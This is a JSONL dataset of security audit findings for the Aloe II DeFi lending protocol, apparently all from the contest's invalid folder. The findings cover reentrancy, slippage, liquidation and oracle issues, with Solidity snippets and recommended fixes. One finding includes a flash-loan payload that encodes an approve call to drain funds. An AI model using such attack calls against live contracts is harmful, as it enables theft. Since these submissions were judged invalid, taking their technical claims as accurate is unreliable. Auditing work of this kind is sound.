corresponding state changes are done in the right order correctly and as intended\n\nIn each of these cases, memory updates can be done more than once before state updates each time via malicious or onest actors re-enter (intentionally or unintentionally, respectively) to manipulate the correctness of values in Aloe's accounting state.\n\n**Being that these reentrancy cases outlined in detail here concern core lending functionalities dealing with user and system balances (deposit, redeem, borrow, repay), a certain and/or definite loss of funds can easily be inflicted by an attacker**\n\n## Code Snippet\n\n## Tool used\nSolidity\n\n## Recommendation\nAny functions that uses **_save** or similar state changing functions *when using the \"write to memory, execute some business logic, and then save to storage\" pattern* should use a reentrancy guard, like OpenZeppelin's **nonReentrant()** modifier [https://docs.openzeppelin.com/contracts/4.x/api/security#ReentrancyGuard-nonReentrant--] **or** update the memory-to-state coding pattern discussed earlier in this issue.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/097.md"}} +{"title":"Potential reentrancy vulnerability related to the lastAccrualTime variable.","severity":"info","body":"Spicy Strawberry Sidewinder\n\nhigh\n\n# Potential reentrancy vulnerability related to the lastAccrualTime variable.\n## Summary\n• lastAccrualTime = 0 is meant to lock state and prevent reentrancy\n• But this check can be bypassed if lastAccrualTime is manually set to 0 in storage\n• An extra check of lastAccrualTime in storage is needed to fully prevent reentrancy\n\n## Vulnerability Detail\nThere is a potential reentrancy vulnerability here related to the lastAccrualTime variable.\nThe key parts of the code are:\n\n1.\n\n function _previewInterest(Cache memory cache) internal view returns (Cache memory, uint256, uint256) {\n\n require(cache.lastAccrualTime != 0, \"Aloe: locked\");\n \n // update cache.borrowIndex\n \n cache.lastAccrualTime = 0; // Marks as locked\n\n return (cache, newInventory, newTotalSupply); \n }\n\n2.\n\n function _getCache() private view returns (Cache memory) {\n return Cache(totalSupply, lastBalance, lastAccrualTime, borrowBase, borrowIndex);\n }\n\nThe _previewInterest function first checks that lastAccrualTime is not 0, to prevent reentrancy. It then does some calculations to accrue interest and updates cache.borrowIndex.\nFinally, it sets cache.lastAccrualTime = 0 before returning. This is meant to mark the state as \"locked\" to prevent reentrant calls.\nHowever, _getCache just reads from storage to populate the cache. If lastAccrualTime was manually set to 0 in storage, _getCache would return a cache with lastAccrualTime = 0.\nThis would allow an attacker to bypass the reentrancy check in _previewInterest and call it again, potentially extracting more funds or manipulating state.\n\n\n## Impact\nThis would allow an attacker to bypass the reentrancy check in _previewInterest and call it again, potentially extracting more funds or manipulating state.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Ledger.sol#L337-L367\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Ledger.sol#L414-L416\n## Tool used\n\nManual Review\n\n## Recommendation\n An additional check should be added in _previewInterest. A suggestive example:\n\n require(lastAccrualTime != 0, \"Aloe: reentrant call\");\n\nThis would ensure lastAccrualTime is not 0 both in memory and in storage, preventing the reentrancy vulnerability.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/095.md"}} +{"title":"Loss of funds due to lack of slippage protection on increaseLiquidity and decreaseLiquidity.","severity":"info","body":"Fast Pink Scorpion\n\nmedium\n\n# Loss of funds due to lack of slippage protection on increaseLiquidity and decreaseLiquidity.\n## Summary\nThe increaseLiquidity and decreaseLiquidity functions have no slippage protection in place because the amount0Min and amount1Min are set to zero.\n\n## Vulnerability Detail\nSlippage helps protect funds from MEV sandwich attack during increaseLiquidity and removeliquidity operations and it is ensured with the amountMin values that the user is ready to take.\n```solidity\n(burned0, burned1) = UNISWAP_NFT.decreaseLiquidity(\n IUniswapNFT.DecreaseLiquidityParams({\n tokenId: tokenId,\n liquidity: liquidity,\n amount0Min: 0,//@audit no slippage protection.\n amount1Min: 0,\n deadline: block.timestamp\n })\n );\n```\n## Impact\nLoss of funds due to MEV sandwich attack\n\n## Code Snippet\n - https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/periphery/src/managers/BoostManager.sol#L163-L164\n - https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/periphery/src/managers/UniswapNFTManager.sol#L63-L80\n \n## Tool used\nManual Review\n\n## Recommendation\nAllow `amount0Min` and `amount1Min` as input parameters to allow users specify the minimum amount they are willing to take and not met, the transaction will revert.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/094.md"}} +{"title":"VolatilityOracle skips implied volatility updates due to time constraints","severity":"info","body":"Slow Indigo Woodpecker\n\nmedium\n\n# VolatilityOracle skips implied volatility updates due to time constraints\n## Summary\nThe [`VolatilityOracle.update`](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/VolatilityOracle.sol#L45-L94) function is supposed to be called by external parties to update the implied volatility (IV). \n\nThe problem is that the time constraints for this function are set up in a way that can lead to much less frequent IV updates, making IV react slower to sudden changes in market volatility. \n\n## Vulnerability Detail\n`VolatilityOracle.update` can only update IV [once an hour](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/VolatilityOracle.sol#L56-L58). If the hour hasn't passed, the old IV is returned. \n\nNote that it's not realistic that there is an exact difference of one hour between IV updates because there may not be a transaction at exactly the hour mark. \n\nSo in reality this will be something like 60-70 minutes *if* there is really an interested party around to call this function for which there is no monetary incentive to do so.\n\nIn order to update IV, we need to [find a timestamp](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/VolatilityOracle.sol#L72-L78) from a past update that is `FEE_GROWTH_AVG_WINDOW - FEE_GROWTH_SAMPLE_PERIOD / 2` (5.5 hours) to `FEE_GROWTH_AVG_WINDOW + FEE_GROWTH_SAMPLE_PERIOD / 2` (6.5 hours) seconds in the past. \n\nIf we can't find that, IV won't be updated. The new `LastWrite` is created though and the `feeGrowthGlobals` array is updated. At this point we need to wait another hour to try to make an IV update, even though IV hasn't even been updated (this means we skip an IV update). \n\nIf we make a reasonable assumption that it takes 5 minutes for someone to call `VolatilityOracle.update` after it becomes possible again then there is a `5 / 65 = ~7%` chance that we don't find a timestamp that is close enough and we skip an update. For a 10 minute delay, the chance is `10 / 65 = ~15%` \n\nThereby IV can in fact react slower than it is supposed to.\n\n## Impact\nIV is updated less often than it should due to the 1 hour restriction for making updates to the `feeGrowthGlobals` array. \n\nThereby IV reacts slower to sudden changes leading to an increased risk of bad debt or decreased capital efficiency.\n\n## Code Snippet\nhttps://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/VolatilityOracle.sol#L45-L94\n\n## Tool used\nManual Review\n\n## Recommendation\nThe solution is to allow updating the `feeGrowthGlobals` array more frequently than after `FEE_GROWTH_SAMPLE_PERIOD` seconds. \n\nI recommend `FEE_GROWTH_SAMPLE_PERIOD / 2`, i.e. 30 minutes. \n\nStill only update the IV once an hour and since the `feeGrowthGlobals` array is updated more frequently, it will always be possible to make an IV update (even when there is a delay for updating the `feeGrowthGlobals` array) as opposed to skipping some updates.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/091.md"}} +{"title":"Liquidations can be DOSed","severity":"info","body":"Savory Lavender Tardigrade\n\nmedium\n\n# Liquidations can be DOSed\n## Summary\nDuring the liquidation process, asset transfers to the borrower's account may cause a denial-of-service attack.\n## Vulnerability Detail\nWhen the liquidator uses the [liquidate](https://github.com/sherlock-audit/2023-10-aloe/blob/b60c21af24738d517941f18f7caa8c7272f771c5/aloe-ii/core/src/Borrower.sol#L194-L286) function, the [_getAssets()](https://github.com/sherlock-audit/2023-10-aloe/blob/b60c21af24738d517941f18f7caa8c7272f771c5/aloe-ii/core/src/Borrower.sol#L490-L525) function withdraws Uniswap positions and transfer assets. \n```solidity\nfunction _uniswapWithdraw(\n int24 lower,\n int24 upper,\n uint128 liquidity,\n address recipient\n ) private returns (uint256 burned0, uint256 burned1, uint256 collected0, uint256 collected1) {\n (burned0, burned1) = UNISWAP_POOL.burn(lower, upper, liquidity);\n (collected0, collected1) = UNISWAP_POOL.collect(recipient, lower, upper, type(uint128).max, type(uint128).max);\n }\n```\n\nIf a borrower's account address is blacklisted by any of the assets, the collect() function will revert and the liquidation process will not occur.\n## Impact\nMalicious borrowers can create bad debt for the protocol\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/b60c21af24738d517941f18f7caa8c7272f771c5/aloe-ii/core/src/Borrower.sol#L194-L286\n## Tool used\n\nManual Review\n\n## Recommendation","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/090.md"}} +{"title":"safeApprove(...) function can revert","severity":"info","body":"Fast Pink Scorpion\n\nmedium\n\n# safeApprove(...) function can revert\n## Summary\nERC20.safeApprove(...) function can revert for allowances that non zero.\n\n## Vulnerability Detail\nThe UniswapNFTManager.sol#callback(...) uses the ERC20 safeApprove function which can revert for non zero allowances.\n\n## Impact\nCalls to `UniswapNFTManager.sol#callback(...)` will revert when allowance is non zero\n\n## Code Snippet\n- https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/periphery/src/managers/UniswapNFTManager.sol#L56-L57\n\n## Tool used\nManual Review\n\n## Recommendation\nConsider using 'safeIncreaseAllowance' and 'safeDecreaseAllowance' instead of safeApprove() function","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/089.md"}} +{"title":"use _safeMint(...) instead of _mint(...)","severity":"info","body":"Fast Pink Scorpion\n\nmedium\n\n# use _safeMint(...) instead of _mint(...)\n## Summary\nThe ERC721 `_mint(...)` function is used in the `BoostNFT.sol#mint(...)` function.\n\n## Vulnerability Detail\nThe ERC721 `_mint(...)` function is used in the `BoostNFT.sol#mint(...)` function. this function does not check if the receipient can receive NFT making the sent NFT stuck in the contract forever.\n- https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/periphery/src/boost/BoostNFT.sol#L65\n```solidity\n function mint(IUniswapV3Pool pool, bytes memory initializationData, uint40 oracleSeed) public payable {\n uint256 id = uint256(keccak256(abi.encodePacked(msg.sender, balanceOf(msg.sender))));\n\n Borrower borrower = _nextBorrower(pool);\n attributesOf[id] = NFTAttributes(borrower, false);\n _mint(msg.sender, id);//@audit use safeMint\n\n initializationData = abi.encode(msg.sender, 0, initializationData);\n borrower.modify{value: msg.value}(boostManager, initializationData, oracleSeed);//@audit reentrancy.\n }\n```\n## Impact\nLoss of NFT when sent to a smart contract that cannot handle NFT\n\n## Code Snippet\n- https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/periphery/src/boost/BoostNFT.sol#L65\n\n## Tool used\nManual Review\n\n## Recommendation\nuse _safeMint(...) instead of _mint(...)","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/088.md"}} +{"title":"Lender.sol flash() is a vulnerable function, can drain the asset","severity":"info","body":"Round Licorice Marmot\n\nmedium\n\n# Lender.sol flash() is a vulnerable function, can drain the asset\n## Summary\nLender.sol flash() is a vulnerable function, can drain the asset\n## Vulnerability Detail\nIn the Lender.sol, the flash() function does not validate the 'to' address.\nIt allows to pass an arbitrary bytes calldata data as one of the arguments. Later it calls receiver, that can be Lender contract itself, with a malicious data.\n## Impact\nMalicious users can pass parameters like this:\n```solidity\nflash(Lender, 1,abi.encodeWithSignature(\"approve(address,uint256)\", attacker, amount));)\n```\nhacker will be approved and be able to transfer all tokens from the contract.\nP.S. The same issue was in Damn Vulnerably DeFi Challenges (Truster).\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L295\n## Tool used\n\nManual Review\n\n## Recommendation\nAs per eip-3156.\nThis is reference implementation in which initiator is authenticated.\n```solidity\n /// @dev ERC-3156 Flash loan callback\n function onFlashLoan(\n address initiator,\n address token,\n uint256 amount,\n uint256 fee,\n bytes calldata data\n ) external override returns(bytes32) {\n require(\n msg.sender == address(lender),\n \"FlashBorrower: Untrusted lender\"\n );\n require(\n initiator == address(this),\n \"FlashBorrower: Untrusted loan initiator\"\n );\n (Action action) = abi.decode(data, (Action));\n if (action == Action.NORMAL) {\n // do one thing\n } else if (action == Action.OTHER) {\n // do another\n }\n return keccak256(\"ERC3156FlashBorrower.onFlashLoan\");\n }\n ```\nRefer [eip-3156](https://eips.ethereum.org/EIPS/eip-3156) for reference.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/086.md"}} +{"title":"Oracle.sol: observe function has overflow risk and should cast to uint256 like Uniswap V3 does","severity":"info","body":"Slow Indigo Woodpecker\n\nmedium\n\n# Oracle.sol: observe function has overflow risk and should cast to uint256 like Uniswap V3 does\n## Summary\nThe `Oracle.observe` function basically uses the same math from the Uniswap V3 code to search for observations. \n\nIn comparison to Uniswap V3, the `Oracle.observe` function takes a `seed` such that the runtime of the function can be decreased by calculating the `seed` off-chain to act as a hint for finding the observation. \n\nIn the process of copying the Uniswap V3 code, a `uint256` cast has been forgotten which introduces a risk of intermediate overflow in the `Oracle.observe` function. \n\nThereby the `secondsPerLiquidityCumulativeX128` return value can be wrong which can corrupt the implied volatility (ÌV) calculation. \n\n## Vulnerability Detail\nLooking at the `Oracle.observe` function, the `secondsPerLiquidityCumulativeX128` return value is calculated as follows:\n\nhttps://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/libraries/Oracle.sol#L196\n```solidity\nliqCumL + uint160(((liqCumR - liqCumL) * delta) / denom)\n```\n\nThe calculation is done in an `unchecked` block. `liqCumR` and `liqCumL` have type `uint160`. \n`delta` and `denom` have type `uint56`. \n\nLet's compare this to the Uniswap V3 code.\n\nhttps://github.com/Uniswap/v3-core/blob/d8b1c635c275d2a9450bd6a78f3fa2484fef73eb/contracts/libraries/Oracle.sol#L279-L284\n```solidity\nbeforeOrAt.secondsPerLiquidityCumulativeX128 +\n uint160(\n (uint256(\n atOrAfter.secondsPerLiquidityCumulativeX128 - beforeOrAt.secondsPerLiquidityCumulativeX128\n ) * targetDelta) / observationTimeDelta\n )\n```\n\nThe result of `atOrAfter.secondsPerLiquidityCumulativeX128 - beforeOrAt.secondsPerLiquidityCumulativeX128` is cast to `uint256`. \n\nThat's because multiplying the result by `targetDelta` can overflow the `uint160` type. \n\nThe maximum value of `uint160` is roughly `1.5e48`. \n\n`delta` is simply the time difference between `timeL` and `target` in seconds. \n\nThe `secondsPerLiquidityCumulative` values are accumulators that are calculated as follows:\nhttps://github.com/Uniswap/v3-core/blob/d8b1c635c275d2a9450bd6a78f3fa2484fef73eb/contracts/libraries/Oracle.sol#L41-L42\n```solidity\nsecondsPerLiquidityCumulativeX128: last.secondsPerLiquidityCumulativeX128 +\n ((uint160(delta) << 128) / (liquidity > 0 ? liquidity : 1)),\n```\n\nIf `liquidity` is very low and the time difference between observations is very big (hours to days), this can lead to the intermediate overflow in the `Oracle` library, such that the `secondsPerLiquidityCumulative` is much smaller than it should be. \n\nThe lowest value for the above division is `1`. In that case the accumulator grows by `2^128` (`~3.4e38`) every second.\n\nIf observations are apart 24 hours (`86400 seconds`), this can lead to an overflow:\nAssume for simplicity `target - timeL = timeR - timeL`\n```text\n(liqCumR - liqCumL) * delta = 3.4e38 * 86400 * 86400 > 1.5e48`\n```\n\n## Impact\nThe corrupted return value affects the [`Volatility` library](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/libraries/Volatility.sol#L121). Specifically, the IV calculation. \n\nThis can lead to wrong IV updates and LTV ratios that do not reflect the true IV, making the application more prone to bad debt or reducing capital efficiency. \n\n## Code Snippet\nhttps://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/libraries/Oracle.sol#L196\n\nhttps://github.com/Uniswap/v3-core/blob/d8b1c635c275d2a9450bd6a78f3fa2484fef73eb/contracts/libraries/Oracle.sol#L279-L284\n\n## Tool used\nManual Review\n\n## Recommendation\nPerform the same cast to `uint256` that Uniswap V3 performs: \n```solidity\nliqCumL + uint160((uint256(liqCumR - liqCumL) * delta) / denom)\n```","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/085.md"}} +{"title":"Missing deadline and deadline checker on Liquidation function might cause certain inefficiencies on Ethereum Mainnet","severity":"info","body":"Striped Parchment Grasshopper\n\nmedium\n\n# Missing deadline and deadline checker on Liquidation function might cause certain inefficiencies on Ethereum Mainnet\n## Summary\nWhen liquidating, quantity of assets returned from uniswap depends on price and network congestion is an issue on Ethereum Network\n## Vulnerability Detail\n\nOn Ethereum Network, network congestion can cause the liquidation tx to be pending and this can cause certain inefficiencies for liquidators.\n\nLike\n 1. A liquidator can see a liquidation opportuinity and call the liquidate() function to liquidate the borrower but the liquidation tx could be pending in the mempool due to network congestion and the price of assets may turn to favor the borrower's positions (i.e he starts making profit) and the liquidator loses His liquidation opportuinity.\n\n2. In the case where prices move too quickly if the liquidation tx is executed immediately but left pending in the mempool, borrower may start accruing bad debt.\n\n3. when the liquidation tx is pending in the mempool, liquidators will have to pay costly gas fees than they normally should for the tx to get the miners attention\n\n## Impact\nPlease see vulnerability detail\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L194\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd deadline and deadline checker to the liquidate function.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/081.md"}} +{"title":"Courier allowance is dangerous","severity":"info","body":"Bent Orchid Barbel\n\nmedium\n\n# Courier allowance is dangerous\n## Summary\nCourier allowance is dangerous as they then have ability to redeem on behalf of user\n## Vulnerability Detail\nIn order to allow courier to deposit on your behalf user should provide allowance for it. While it's [enough to provide 1 wei allowance](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L121C47-L121C86) user can be cheated by courier to set bigger allowance. So then, when courier has deposited on behalf of user, this allowance is not cleared.\n\nSo next, courier can call `redeem` function [and use old allowance to withdraw funds](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L180-L183) to own address.\n\nI believe that this should be medium severity, because it needs user to approve bigger amount of funds to courier.\n## Impact\nCourier can steal user's funds.\n## Code Snippet\nProvided above\n## Tool used\n\nManual Review\n\n## Recommendation\nI believe that current approach is not correct. You should not mix approve with couriers. There should be separate method which allows courier to deposit on your behalf. As another solution, you should clear allowance for courier after the deposit(but still courier can do redeem instead of deposit).","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/080.md"}} +{"title":"`Lende.redeem()` has slippage attack problem","severity":"info","body":"Bumpy Candy Bobcat\n\nmedium\n\n# `Lende.redeem()` has slippage attack problem\n## Summary\n\n`Lende.redeem()` and `Lender.mint()` have slippage attack problem\n\n## Vulnerability Detail\n\nAs we can see, the redeem function do not set the slippage parameter by user. Attacker may launch a slippage attack when user calling redeem\n\n```solidity\n\n function redeem(uint256 shares, address recipient, address owner) public returns (uint256 amount) {\n if (shares == type(uint256).max) shares = maxRedeem(owner);\n\n if (msg.sender != owner) {\n uint256 allowed = allowance[owner][msg.sender];\n if (allowed != type(uint256).max) allowance[owner][msg.sender] = allowed - shares;\n }\n\n // Accrue interest and update reserves\n (Cache memory cache, uint256 inventory) = _load();\n\n // Convert `shares` to `amount`\n amount = _convertToAssets(shares, inventory, cache.totalSupply, /* roundUp: */ false);\n require(amount != 0, \"Aloe: zero impact\");\n\n // Burn shares, track rewards, and (if applicable) handle courier accounting\n cache.totalSupply = _burn(owner, shares, inventory, cache.totalSupply);\n // Assume tokens are transferred\n cache.lastBalance -= amount;\n\n // Save state to storage (thus far, only mappings have been updated, so we must address everything else)\n _save(cache, /* didChangeBorrowBase: */ false);\n\n // Transfer tokens\n asset().safeTransfer(recipient, amount);\n\n emit Withdraw(msg.sender, recipient, owner, amount, shares);\n }\n```\n\n## Impact\n\nslippage attack\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L201\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd slippage parameter and set by user and check it","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/079.md"}} +{"title":"`approve()` function has in-front problem","severity":"info","body":"Bumpy Candy Bobcat\n\nmedium\n\n# `approve()` function has in-front problem\n## Summary\n\n`approve()` function has in-front problem\n\n## Vulnerability Detail\n\n```solidity\n function approve(address spender, uint256 shares) external returns (bool) {//@audit\n allowance[msg.sender][spender] = shares;\n\n emit Approval(msg.sender, spender, shares);\n\n return true;\n }\n```\n\n## Impact\n\nThe `Lender` just like the ERC20 token, could use transfer/transferfrom/approve\n\nAssume the following scenario:\n\n1. Alice approves Bob’s 10 tokens\n2. After a while, Alice changed her mind and wanted to change it to 5 tokens.\n3. Bob sees that Alice has changed her mind, so he executes transferfrom 10 to his own account through a front-running attack.\n4. When Alice’s approve 5 is executed, Bob has the approves of 5 tokens again.\n5. In the end, Alice only approved 5 tokens, but Bob was able to transfer 15 tokens\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L321\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd check in the approve() function if user has approved the value of `Lender`","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/078.md"}} +{"title":"Borrower.sol: Two minutes grace period is too short and can lead to unintended liquidations","severity":"info","body":"Slow Indigo Woodpecker\n\nmedium\n\n# Borrower.sol: Two minutes grace period is too short and can lead to unintended liquidations\n## Summary\nThe [`Borrower.warn`](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/Borrower.sol#L148-L173) function is used to warn the borrower that they're about to be liquidated. \n\nLiquidators earn a 5% incentive when they need to execute swaps to perform the liquidation. The warning is a time delay to allow borrowers to make their account healthy such that they don't have to pay the 5% incentive. \n\nThe time that borrowers have to react to the warning is a hardcoded constant which is set to [2 minutes](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/libraries/constants/Constants.sol#L90-L92). \n\nThe issue is that this duration is too short, especially in times of high network activity, and leads to unexpected liquidations for borrowers that rely on this warning mechanism. \n\n## Vulnerability Detail\nLiquidations that include a swap require that the [`unleashTime` has passed](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/Borrower.sol#L252-L254). This is the time that is set in the `Borrower.warn` function. \n\nOne of the delay's purposes (apart from making liquidations manipulation-resistant) is to allow the borrower some time to react to an upcoming liquidation such that he does not have to pay the 5% liquidation incentive. \n\nAs described above, the delay is a constant 2 minutes. \n\nThis is not enough time considering that the borrower needs to run a bot that monitors for the `Warn` event being emitted and then needs to send his transaction to the network to be executed before the two minutes pass. \n\nIn times of high network activity, it is likely that transactions take longer to execute unless the borrower massively overpays in Gas fees and even then it is not clear which is the Gas amount that is sufficient to have the transaction executed in time. \n\nAlso, periods with high network congestion go hand in hand with periods of high market volatility. \nThis means there is a high likelihood that due to high volatility, a lot of loans will go bad in these periods of network congestion.\n\n## Impact\nThe liquidation warning mechanism doesn't give borrowers enough time to react to pending liquidations, leading to a loss the size of the incentive (5% of the swap volume). \n\n## Code Snippet\nhttps://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/libraries/constants/Constants.sol#L90-L92\n\n## Tool used\nManual Review\n\n## Recommendation\nThe `LIQUIDATOIN_GRACE_PERIOD` constant should be increased to a more reasonable value that gives borrowers a more realistic chance to react to upcoming liquidations and have their transaction executed in time. \n\nA reasonable value range is 10-20 minutes. \n\nWe do not have to worry about bed debt being created in case there's a sudden market movement within this grace period. That's because the IV calculation should allow for a 24 hour period in which only a 4 to 8 sigma event would cause bad debt. \n\nSo the change from 2 minutes to 10 minutes or 20 minutes doesn't notably increase the risk of bad debt. \n\nThe maximum interest that can accrue in a 20 minute period is `((1 + 706354 / 1e12) ** (24 * 60 * 60)) - 1 = ~0.085%` which means the `MAX_LEVERAGE` constant doesn't need to be updated. Interest from the grace period cannot create bad debt.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/073.md"}} +{"title":"Liquidator receives all eth balance of borrower instead of ante","severity":"info","body":"Bent Orchid Barbel\n\nmedium\n\n# Liquidator receives all eth balance of borrower instead of ante\n## Summary\nLiquidator receives all eth balance of borrower instead of ante\n## Vulnerability Detail\nWhen liquidation occurs, then in the end liquidator [receives eth from borrower's balance](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L283). The amount depends on `strain` param and on borower's balance.\n\nThere is a requirement for borrower. In case if he wants to do any operation using `modify` function, then after that operation [he should have at least `ante` on his eth balance](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L320C71-L320C100). This `ante` is smth like deposit, that user should hold to be able to act. And as you have already seen it's used to pay liquidator.\n\nThe problem is that borrower can have much more than `ante` on his balance as he can operate with eth. In that case liquidator will be able to grab whole that amount. \n## Impact\nBorrower can loose all eth balance.\n## Code Snippet\nProvided above\n## Tool used\n\nManual Review\n\n## Recommendation\nI believe that such payment should be fair for liquidators:\n\n```solidity\n(uint208 ante, , , ) = FACTORY.getParameters(UNISWAP_POOL);\npayable(callee).transfer(ante / strain);\n```","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/067.md"}} +{"title":"Borrowers cannot earn Uniswap V3 liquidity incentives on their positions","severity":"info","body":"Slow Indigo Woodpecker\n\nmedium\n\n# Borrowers cannot earn Uniswap V3 liquidity incentives on their positions\n## Summary\n\nAloe Protocol only allows interacting directly with the UniswapV3 pools because all the opened positions must be owned by the Borrower contract.\n\nUsually, when providing liquidity to UniswapV3 pool through the [`NonfungiblePositionManager`](https://github.com/Uniswap/v3-periphery/blob/main/contracts/NonfungiblePositionManager.sol) contract, the liquidity provider receives a NFT token which represents his liquidity position. \nThis NFT token can then be staked in [`UniswapV3Staker`](https://docs.uniswap.org/contracts/v3/reference/periphery/staker/Design) contracts to earn liquidity mining incentives (in case a Pool offers such incentives).\nThus, the borrowers are missing out on all the liquidity mining incentives.\n\n## Vulnerability Detail\n\nWhen providing liquidity to UniswapV3 pool through the [NonfungiblePositionManager](https://github.com/Uniswap/v3-periphery/blob/main/contracts/NonfungiblePositionManager.sol), the liquidity provider receives a NFT token which represents his liquidity position. \nThis NFT token can be staked in [UniswapV3Staker](https://docs.uniswap.org/contracts/v3/reference/periphery/staker/Design) contract to earn liquidity mining incentives.\n\nAloe protocol only allows interacting directly with the UniswapV3 pool because all the opened positions must be owned by the Borrower contract.\nThis can be observed through the [`_getAssets`](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/Borrower.sol#L502) function, which only takes into account the positions owned by the `Borrower` contract.\n\nFor example if there was USDC <-> BTC pool with a liquidity mining program for providing liquidity, the current Aloe protocol could not get these rewards.\n\n## Impact\n\nBorrowers in Aloe Protocol are missing out on the liquidity mining incentives. Since it's common for projects to incentive liquidity provision on their pools through [`UniswapV3Staker`](https://docs.uniswap.org/contracts/v3/guides/liquidity-mining/overview), this is a significant loss for the borrowers. \n\n## Code Snippet\n\nhttps://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/Borrower.sol#L502\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nInclude all the NFTs minted through `NonfungiblePositionManager` contract, staked inside `UniswapV3Staker` contract,\nand owned by the Borrower contract to the total assets accounting in the `_getAssets` function.\nIn other words it should be possible for the `Borrower` to earn liquidity incentives on his borrowed funds while still having the value of these incentivized Uniswap positions count toward his health 